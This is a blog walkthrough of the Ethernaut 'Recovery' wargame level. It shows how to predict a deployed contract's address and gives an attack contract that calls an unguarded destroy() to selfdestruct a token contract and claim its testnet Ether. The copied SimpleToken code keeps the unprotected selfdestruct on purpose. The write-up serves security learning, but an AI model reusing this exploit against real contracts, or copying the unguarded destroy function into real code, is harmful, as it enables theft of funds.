Ethernaut Walkthrough — Level 17: Recovery

Published on Jan 27, 2022

In this level, we are given two contracts. The Recovery contract will deploy a new instance of the SimpleToken contract to an address we don't know or have forgotten. This token contract will contain some Ether which we need to recover from it.

Now in the description they mention that the contract will contain 0.5ETH, which seems to be incorrect or outdated. When I was looking around the generated contracts, I noticed that I could find a transfer of 0.001ETH, which is what you'll need to send when creating a new instance of this level.

The goal of this level is twofold. First, we need to figure out at what address the token contract lives. Once we know the address, we can call the selfdestruct() function and transfer all funds in the contract to an address of our choosing.

Calculating the address of a contract

I didn't know how new contract addresses were generated but according to the Solidity docs, this is how:

The address of an external account is determined from the public key while the address of a contract is determined at the time the contract is created (it is derived from the creator address and the number of transactions sent from that address, the so-called “nonce”).

Let's keep the following in mind: we need the creator address and the nonce. If we know the address of the Recovery address (this will be our level instance address) we can calculate the new contract address based on that in combination with the nonce. The nonce will be 1, because there will only be once transaction created from the Recovery contract.

My instance address on Ethernaut is 0xfbC9ddF2BBfAf7A274Da8155903be18D20b9C4d5. Just look at your console to figure out what address is your instance address or call contract.address in the console.

From there, we can pre-calculate the address of the token contract. I found the following question on StackExchange to be quite helpful and I actually used a library called @ethersproject/address in order to calculate the correct hash more easily. Here's the nodejs code I used based on the link above.

const { getContractAddress } = require("@ethersproject/address");

const futureAddress = getContractAddress({
    from: "0xfbC9ddF2BBfAf7A274Da8155903be18D20b9C4d5",
    nonce: 1,
});

console.log(futureAddress);

The answer in this link also details how Solidity calculates addresses for new contracts but just to understand what's happening, you can just the following pseudo-formula:

newAddress = keccak256_encode(rlp_encode(sender_address, nonce))

When I run my nodejs script above, I get the following address in return: 0x7a2580BDF98292BB9F6823ED96045bD7faF6134F

It's interesting to know how Solidity calculates addressess, but there is an easier way to find the address where our Token contract ended up and that's by using Etherscan.

Finding the address on Etherscan

Another way of finding the address of the token contract is by starting with your level instance transaction. You can find that link in your MetaMask wallet or by opening the Ethernaut console as usuals.

Click here to see my transaction on Etherscan. There are several ways to find the address, but one is by looking at the Internal Txns tab for this transaction.

The way I understand these five transaction is as follows:

  • first, we send 0.001 ETH to the Ethernaut contract
  • this will create the Recovery contract for us
  • the generateToken() method is called
  • the SimpleToken contract is created and we can get the address in this step
  • 0.001 ETH is transfered to the SimpleToken contract

Notice that we can click on the generated contract address in the screenshot above and that this address is exactly the same as the one we calculated with the nodejs script.

Let's click on the address and you'll see that we have a balance of 0.001 ETH waiting there for us to steal.

The only thing left for us to do is call the destroy() method on this contract and recover the balance to our own account.

The hack

I like to use remix to create my attacks but you can use hardhat as well. Make sure you copy the original code from the SimpleToken contract in order to be able to create our own instance of this contract. I have updated the code a bit to be compatible with a more recent version of the Solidity compiler and with a matching import of the OpenZeppelin library.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/master/contracts/utils/math/SafeMath.sol";

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply)  {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

All this does is set the stage for our attack and make sure we can create an instance of the SimpleToken contract and talk to it via the address we found earlier on.

Here's what our attack contract looks like. The only thing we do is create an instance of the SimpleToken contract based on the address we found and then call the destroy() method which will return all funds in the contract to the address we pass as a parameter.

contract Attack {
    address payable me;
    SimpleToken instance;
    function attack(address payable originalContract) public {
        me = payable(0x2E5090E6f147B84Aa6bBe6483acD3AfBedECCdDB); // my address
        instance = SimpleToken(originalContract); // instantiate the remote contract
        instance.destroy(me); // call the method on the Token contract
    }
}

Deploy the Attack contract to Rinkeby and call the attack() method, while passing the address of the remote contract we found earlier.

When the transaction finishes you will see 0.001 ETH being added to your account and Etherscan will show that you have self-destructed the contract with an outgoing balance of 0.001 Ether.

Security lessons learned

  • we learned that addresses of deployed contracts can be predicted in advance
  • some people apparently hide money by sending ETH to an address that doesn't have a matching private key
  • these hidden funds would be lost forever unless somebody deploys a contract like the one used in this level to reclaim the hidden funds later on
  • keep in mind that on the blockchain, everything is public and many companies are already mining all that data in order to track and trace transactions back to real identities
No comments? But that’s like a Gin & Tonic without the ice?

I’ve removed the comments but you can shoot me a message on Twitter @GoodBytes to keep the conversation going.